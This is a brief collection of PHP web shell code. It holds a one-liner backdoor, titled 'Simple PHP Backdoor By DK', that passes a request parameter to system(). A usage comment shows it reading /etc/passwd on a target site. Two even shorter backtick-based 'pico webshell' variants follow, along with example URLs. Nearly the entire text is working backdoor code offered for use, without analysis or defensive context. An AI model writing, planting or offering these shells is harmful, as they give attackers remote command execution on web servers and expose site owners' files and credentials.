Simple-Backdoor-One-Liner.php

<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

A smaller one!

<?=`$_GET[_]`?> 

pico webshell

Alternative

<?=`$_GET[0]`?>

localhost/shell.php?0=ls